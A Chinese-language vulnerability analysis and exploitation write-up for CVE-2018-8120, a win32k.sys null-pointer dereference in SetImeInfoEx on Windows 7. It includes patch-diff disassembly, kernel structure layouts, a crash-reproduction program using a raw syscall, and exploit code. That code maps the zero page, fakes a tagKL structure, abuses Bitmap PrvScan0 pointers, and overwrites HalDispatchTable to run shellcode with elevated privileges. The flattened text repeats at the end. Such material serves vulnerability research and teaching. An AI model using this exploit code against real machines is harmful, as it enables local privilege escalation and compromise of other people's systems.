CVE-2018-8120 Windows内核空指针漏洞分析
字数 876 2025-08-03 16:44:56

CVE-2018-8120 Windows内核空指针漏洞分析与利用

0x00 漏洞概述

CVE-2018-8120是Windows内核中的一个空指针解引用漏洞,存在于win32k.sys组件中。该漏洞于2018年5月由微软修复,影响Windows 7等操作系统。漏洞允许本地攻击者通过精心构造的请求实现权限提升。

0x01 漏洞分析

漏洞函数定位

通过对比4月和5月的安全补丁,可以定位到关键函数SetImeInfoEx。补丁主要增加了对spklList成员域的校验。

补丁对比分析

4月补丁反汇编代码

signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex) {
    signed int result; // eax
    int v3; // eax
    int v4; // eax
    
    result = pwinsta;
    if (pwinsta) {
        v3 = *(_DWORD *)(pwinsta + 0x14); // 获取spklList
        while (*(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex) { // 未校验v3直接解引用
            v3 = *(_DWORD *)(v3 + 8);
            if (v3 == *(_DWORD *)(pwinsta + 0x14))
                return 0;
        }
        v4 = *(_DWORD *)(v3 + 0x2C);
        if (!v4)
            return 0;
        if (!*(_DWORD *)(v4 + 0x48))
            qmemcpy((void *)v4, piiex, 0x15Cu);
        result = 1;
    }
    return result;
}

5月补丁反汇编代码

signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex) {
    signed int result; // edx
    int v3; // eax
    int v4; // eax
    
    if (!pwinsta)
        return 0;
    result = *(_DWORD *)(pwinsta + 0x14);
    if (!result)
        return 0;
    v3 = *(_DWORD *)(pwinsta + 0x14);
    while (*(_DWORD *)(v3 + 0x14) != *(_DWORD *)piiex) {
        v3 = *(_DWORD *)(v3 + 8);
        if (v3 == result)
            return 0;
    }
    v4 = *(_DWORD *)(v3 + 0x2C);
    if (!v4)
        return 0;
    if (!*(_DWORD *)(v4 + 0x48))
        qmemcpy((void *)v4, piiex, 0x15Cu);
    return 1;
}

关键变化是增加了对spklList是否为空的检查。

相关数据结构

tagWINDOWSTATION结构

+0x000 dwSessionId        : Uint4B
+0x004 rpwinstaNext       : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList         : Ptr32 tagDESKTOP
+0x00c pTerm              : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags        : Uint4B
+0x014 spklList           : Ptr32 tagKL  // 漏洞关键成员
+0x018 ptiClipLock        : Ptr32 tagTHREADINFO
...

tagKL结构(键盘布局对象):

+0x000 head               : _HEAD
+0x008 pklNext            : Ptr32 tagKL
+0x00c pklPrev            : Ptr32 tagKL
+0x010 dwKL_Flags         : Uint4B
+0x014 hkl                : Ptr32 HKL__  // 用于比较的成员
+0x018 spkf               : Ptr32 tagKBDFILE
...
+0x02c piiex              : Ptr32 tagIMEINFOEX  // 拷贝目标
...

tagIMEINFOEX结构

+0x000 hkl                : Ptr32 HKL__
+0x004 ImeInfo            : tagIMEINFO
+0x020 wszUIClass         : [16] Wchar
...
+0x048 fLoadFlag          : Int4B  // 需要为0才能执行拷贝
...

0x02 漏洞复现

复现代码

#include <stdio.h>
#include <Windows.h>

typedef struct {
    DWORD dwPrivateDataSize;
    DWORD fdwProperty;
    DWORD fdwConversionCaps;
    DWORD fdwSentenceCaps;
    DWORD fdwUICaps;
    DWORD fdwSCSCaps;
    DWORD fdwSelectCaps;
} tagIMEINFO;

typedef struct {
    HKL hkl;
    tagIMEINFO ImeInfo;
    WCHAR wszUIClass[16];
    DWORD fdwInitConvMode;
    BOOL fInitOpen;
    BOOL fLoadFlag;
    DWORD dwProdVersion;
    DWORD dwImeWinVersion;
    WCHAR wszImeDescription[50];
    WCHAR wszImeFile[80];
    CHAR fSysWow64Only : 1;
    BYTE fCUASLayer : 1;
} tagIMEINFOEX;

static BOOL __declspec(naked) NtUserSetImeInfoEx(tagIMEINFOEX* imeInfoEx) {
    __asm { mov eax, 1226h };
    __asm { lea edx, [esp+4] };
    __asm { int 2eh };
    __asm { ret };
}

int main() {
    // 新建窗口站,spklList默认为0
    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
    SetProcessWindowStation(hSta);  // 关联当前进程
    
    char buf[0x4];
    memset(buf, 0x41, sizeof(buf));
    
    // 触发空指针解引用
    NtUserSetImeInfoEx((PVOID)&buf);
    return 0;
}

执行后会导致系统蓝屏,问题出在win32k.sys中。

0x03 漏洞利用

利用思路

  1. 申请零页内存
  2. 创建新窗口站并与当前线程关联
  3. 申请并泄露Bitmap中的PrvScan0地址
  4. 在零页构造结构体绕过检查
  5. 调用NtUserSetImeInfoEx实现hManagerPrvScan0指向hworkerPrvScan0
  6. 覆盖HalDispatchTable+0x4为shellcode地址
  7. 调用NtQueryIntervalProfile执行shellcode提权

关键步骤实现

1. 申请零页内存

*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");

PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
if (!NT_SUCCESS(NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) || Zero_addr != NULL) {
    printf("Failed to alloc zero page!\n");
    return 0;
}
ZeroMemory(Zero_addr, RegionSize);

2. 构造参数绕过检查

DWORD* faketagKL = (DWORD*)0x0;

// 构造pWorkerPrvScan0结构
*(DWORD*)((PBYTE)&fakepiiex + 0x0) = pWorkerPrvScan0;
*(DWORD*)((PBYTE)&fakepiiex + 0x4) = 0x104;
*(DWORD*)((PBYTE)&fakepiiex + 0x8) = 0x00001b97;
*(DWORD*)((PBYTE)&fakepiiex + 0xC) = 0x00000003;
*(DWORD*)((PBYTE)&fakepiiex + 0x10) = 0x00010000;
*(DWORD*)((PBYTE)&fakepiiex + 0x18) = 0x04800200;

// 绕过检查
*(DWORD*)((PUCHAR)faketagKL + 0x14) = pWorkerPrvScan0; // tagKL->hkl
*(DWORD*)((PUCHAR)faketagKL + 0x2C) = pManagerPrvScan0; // tagKL->piiex

xxNtUserSetImeInfoEx(&fakepiiex); // 实现pManagerPrvScan0->pWorkerPrvScan0

3. 提权执行shellcode

VOID GetShell() {
    DWORD interVal = 0;
    DWORD32 halHooked = GetHalOffset_4();
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    
    writeOOB(halHooked, (PVOID)&ShellCode, sizeof(DWORD32));
    NtQueryIntervalProfile(0x1234, &interVal);
}

0x04 注意事项

  1. 该漏洞利用依赖于零页内存分配,在Windows 8及更高版本中难以利用
  2. 64位系统上的利用需要调整偏移量和汇编代码
  3. 实际利用时需要精确控制内存布局

0x05 参考资源

  1. https://www.freebuf.com/vuls/174183.html
  2. 微软安全公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120
CVE-2018-8120 Windows内核空指针漏洞分析与利用 0x00 漏洞概述 CVE-2018-8120是Windows内核中的一个空指针解引用漏洞,存在于win32k.sys组件中。该漏洞于2018年5月由微软修复,影响Windows 7等操作系统。漏洞允许本地攻击者通过精心构造的请求实现权限提升。 0x01 漏洞分析 漏洞函数定位 通过对比4月和5月的安全补丁,可以定位到关键函数 SetImeInfoEx 。补丁主要增加了对 spklList 成员域的校验。 补丁对比分析 4月补丁反汇编代码 : 5月补丁反汇编代码 : 关键变化是增加了对 spklList 是否为空的检查。 相关数据结构 tagWINDOWSTATION结构 : tagKL结构 (键盘布局对象): tagIMEINFOEX结构 : 0x02 漏洞复现 复现代码 执行后会导致系统蓝屏,问题出在win32k.sys中。 0x03 漏洞利用 利用思路 申请零页内存 创建新窗口站并与当前线程关联 申请并泄露Bitmap中的PrvScan0地址 在零页构造结构体绕过检查 调用NtUserSetImeInfoEx实现hManagerPrvScan0指向hworkerPrvScan0 覆盖HalDispatchTable+0x4为shellcode地址 调用NtQueryIntervalProfile执行shellcode提权 关键步骤实现 1. 申请零页内存 2. 构造参数绕过检查 3. 提权执行shellcode 0x04 注意事项 该漏洞利用依赖于零页内存分配,在Windows 8及更高版本中难以利用 64位系统上的利用需要调整偏移量和汇编代码 实际利用时需要精确控制内存布局 0x05 参考资源 https://www.freebuf.com/vuls/174183.html 微软安全公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120